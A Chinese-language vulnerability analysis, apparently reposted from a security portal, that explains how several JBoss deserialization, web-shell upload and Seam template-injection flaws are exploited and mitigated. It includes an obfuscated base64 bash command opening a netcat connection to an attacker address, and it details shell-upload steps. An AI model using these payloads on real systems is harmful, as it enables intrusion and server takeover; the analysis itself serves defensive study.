手机网站建设软件有哪些,wordpress钩子的意思,唐山网站制作价格,知名企业vi设计打开JBoss的潘多拉魔盒#xff1a;JBoss高危漏洞分析
*本文中涉及到的相关漏洞已报送厂商并得到修复#xff0c;本文仅限技术研究与讨论#xff0c;严禁用于非法用途#xff0c;否则产生的一切后果自行承担。
前言
JBoss是一个基于J2EE的开放源代码应用服务器#xff0…打开JBoss的潘多拉魔盒JBoss高危漏洞分析
*本文中涉及到的相关漏洞已报送厂商并得到修复本文仅限技术研究与讨论严禁用于非法用途否则产生的一切后果自行承担。
前言
JBoss是一个基于J2EE的开放源代码应用服务器代码遵循LGPL许可可以在任何商业应用中免费使用JBoss也是一个管理EJB的容器和服务器支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发并且由开源社区开发这使得JBoss广为流行。
0x01 JBoss优点
JBoss有许多优点。
其一将具有革命性的JMX微内核服务作为其总线结构
其二本身就是面向服务架构Service-Oriented ArchitectureSOA
其三具有统一的类装载器从而能够实现应用的热部署和热卸载能力。
因此高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的而且还具有良好的性能。
JBoss AS作为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础为了避免用户混淆该公司在去年10月份就为JBoss AS拟定一个新名字——WildFly。 由此看来国内使用JBoss服务的用户很广泛因此防范JBoss漏洞就显得尤为重要了。一旦JBoss的潘多拉魔盒被打开必将在当今网络中掀起腥风血雨。
0x02 高危漏洞介绍
近几年JBoss爆发的漏洞数量与其他著名的中间件Weblogic,Jenkins,WebSphere等相比数量相对较少。然而由于最近几年Java反序列化漏洞的肆虐JBoss也深受其害相继爆发了三个著名的高危漏洞。
下面介绍一下JBoss“潘多拉魔盒”中的高危漏洞。
JBoss高危漏洞主要涉及到两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞例如CVE-2007-1036CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。
另一种是利用Java反序列化进行远程代码执行的漏洞例如CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810。
除此之外还要额外介绍一下JBoss seam2的模板注入CVE-2010-1871漏洞。
Java反序列化RCE漏洞
关于Java反序列化漏洞的利用思路此前已经介绍过详情请看缝缝补补的WebLogic绕过的艺术 - FreeBuf网络安全行业门户。
1. CVE-2015-7501漏洞
此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放由于JBoss的jmx组件支持Java反序列化并且在反序列化过程中没有加入有效的安全检测机制导致攻击者可以传入精心构造好的恶意序列化数据在jmx对其进行反序列化处理时导致传入的携带恶意代码的序列化数据执行造成反序列化漏洞下面是传入的序列化结构。 从图中我们可以看到此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。
CVE-2015-7501 POC
首先我们进入到/invoker/JMXInvokerServlet路径下post传入我们构造好的payload下面的序列化POC需要将16进制解码。
在上面的POC中cmd是我们想要执行的代码这里大家注意一下binascii.b2a_hex(cmd)前面的两位标红的部分是代表cmd转换为16进制的长度。所以需要根据我们具体传入的代码而进行调整。
这个漏洞的修补方法很简单因为ysoserial工具生成的payload都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类可以将此类移除方法为使用Winzip打开jar文件在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。
2. CVE-2017-7504漏洞
CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙只是利用的路径稍微出现了变化CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下一般出现如图所示的界面绝大多数存在此漏洞。 漏洞的利用方式也和CVE-2105-7501相同只需要在存在漏洞的路径下post传入我们构造的payload即可对存在漏洞的服务器进行远程代码攻击。Payload使用上面提到的CVE-2015-7501的POC即可。
3. CVE-2017-12149漏洞
此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法再将序列化传入ois中并没有进行过滤便调用了readObject()进行反序列化导致传入的携带恶意代码的序列化数据执行造成了反序列化的漏洞下面粘出doFilter方法。 看到代码中的MarshalledInvocation也许熟悉weblogic Java反序列化漏洞的同学可能会想到CVE-2016-3510漏洞。没错这个漏洞也是利用了MarshalledInvocation类进行的Java反序列化攻击。首先我们进入到/invoker/readonly路径下post传入我们构造好的payload下面的序列化POC需要将16进制解码。
CVE-2017-12149的POC序列化
这里我们在cmd_hex所在位置必须要插入类似于
bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}
这种形式的命令才可以达到攻击效果这是因为使用了“Java.lang.Runtime.exec(String)”语句而导致的一些限制。首先是不支持shell操作符如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。同样前面标红的那两位(b1)也需要和我们插入的指令长度相符这是Java序列化中的结构规定。
如果进入到漏洞所在路径看见如下图的界面很可能存在CVE-2017-12149漏洞。 4. CVE-2013-4810漏洞
此漏洞和CVE-2015-7501漏洞原理相同这里详细介绍一下两者的区别其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
首先我们进入到/invoker/JMXInvokerServlet/invoker/EJBInvokerServlet路径下post传入我们构造好的payload并在头部传入。
下面的序列化POC需要将16进制解码。
CVE-2013-4810的POC序列化
POC的序列化结构如下图 图中红框位置就是我们执行上传文件功能jboss.admin中的DeploymentFileRepository的代码和上传文件的内容。
另外如果是检测web-console/Invoker路径下的漏洞则传入http头部如下
post传入的payload如下
POC的序列化结构如下图 图中红框位置就是我们上传文件内容。
JBoss后台文件上传的漏洞
1.CVE-2007-1036漏洞
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放并且没有任何身份验证机制导致攻击者可以进入到jmx控制台并在其中执行任何功能。该漏洞利用的是后台中jboss.admin - DeploymentFileRepository - store()方法通过向四个参数传入信息达到上传shell的目的其中arg0传入的是部署的war包名字arg1传入的是上传的文件的文件名arg2传入的是上传文件的文件格式arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell控制整台服务器。但是通过实验发现arg1和arg2可以进行文件的拼接例如arg1shearg2ll.jsp。这个时候服务器还是会进行拼接将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。
CVE-2007-1036 POC
其中war_name是部署war包的名称filename是我们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是利用此payload进行shell上传 这个是存在漏洞的后台路径 图中的store()函数便是文件上传使用的方法通过构造内部的4的参数将我们构造好的文件传到任何我们指定的位置。
2. CVE-2010-0738漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同唯一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法绕过了对GET和POST请求的限制成功地再次利用jboss.admin - DeploymentFileRepository - store()方法上传文件。
CVE-2010-0738 POC
其中war_name是部署war包的名称filename是我们想要上传的文件名。漏洞利用过程就是将POC以HEAD方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是成功上传shell的截图。 3. CVE-2005-5750漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。
CVE-2005-5750 POC
其中war_name是部署war包的名称filename是我们想要上传的文件名。在/jmx-console/HtmlAdaptor路径下使用HEAD方法传入上面构造好的payload即可对此漏洞进行利用。
下图是成功上传shell的截图。 4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞
此漏洞是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放并且没有任何身份验证机制导致攻击者可以进入到jmx控制台并在其中执行任何功能。该漏洞利用的是后台jboss.deployment - DeploymentScanner - Java.net.URL类型 addURL() 方法通过向一个参数传入url进行访问在要访问的url中构造带有shell的war包当服务器访问时便会上传shell。但是上传shell的文件只是一个映射文件当url一旦无法访问或者内部资源丢失则服务器上的文件也会相应消失。
JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC
其中arg0传入的是我们可以控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入我们构造好的payload即可对此漏洞进行漏洞利用。
下图是漏洞利用所选择的函数 防御以上漏洞其实只需要将JBoss后台添加权限控制访问者对敏感路径访问即可。
JBoss seam2模板注入
在介绍漏洞之前首先介绍一下Java反射机制。
很多POC都是利用Java的反射机制来调用需要的方法进行远程代码执行。在Java中一切皆为对象包括Class对象。Java反射机制是在运行状态中对于任意一个类都能够知道这个类的所有属性和方法对于任意一个对象都能够调用它的任意一个方法和属性。
在下面的漏洞中我们可以利用一些函数去反射需要的类以及类的方法。例如利用getClass()函数获取类并利用getMethod()获取我们想要反射的方法。在CVE-2010-1871就是通过反射出Java.lang.Runtime.getRuntime().exec()方法进行远程代码执行。
1.CVE-2010-1871漏洞
此漏洞是通过seam组件中插入#{payload}进行模板注入我们可以在/admin-console/login.seam?actionOutcome/success.xhtml?user%3d%23{}的#{}中插入我们要执行的方法我们可以通过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法从而可以传入任何想要执行的指令。
CVE-2010-1871 POC
其中cmd代表传入的远程命令。在/admin-console/login.seam路径下POST传入我们构造好的payload即可对此漏洞利用。
0x03 结语
目前JBoss未授权访问的漏洞已经得到了很好的修复一些对外组件都添加了权限访问控制想继续利用
JBoss的潘多拉魔盒已经开启每一个JBoss高危漏洞都会给使用JBoss的用户造成巨大的灾难。传言潘多拉在开启魔盒的瞬间由于害怕和紧张在智慧女神雅典娜放在盒子中的“希望”还没有飞出就关上了盒子导致了人类饱受疾病与灾难的痛苦。那么作为一个安全研究员放飞盒子中的“希望”就是我们现在需要努力的方向。及时的在漏洞爆发期间完成对漏洞的分析并完成对漏洞的预防防止漏洞攻击在网络环境中肆虐保护大家的网络环境这便是安全研究员的职责所在。
目前JBoss未授权访问的漏洞已经得到了很好的修复一些管理后台都添加了权限访问控制想继续通过JBoss后台进行文件上传在现在的JBoss版本已经很少能实现了。目前JBoss的攻击趋势随着2015年FoxGlove Security 安全团队的 breenmachine 博客的发布而渐渐偏向于Java反序列化攻击。因为这种攻击的特点是危险等级高影响范围广一个Java反序列化漏洞造成的影响是巨大的。所以对于JBoss我们需要做的防护措施就是在各个对外开放组件进行输入验证确保传入的信息中没有对服务器产生危害的内容。
漏洞挖掘者和漏洞防御者之间的博弈从未停止过而且这种博弈在今后的生活中也将会愈演愈烈安全研究员时刻准备迎接挑战。
*本文作者千里目安全实验室转载请注明来自FreeBuf.COM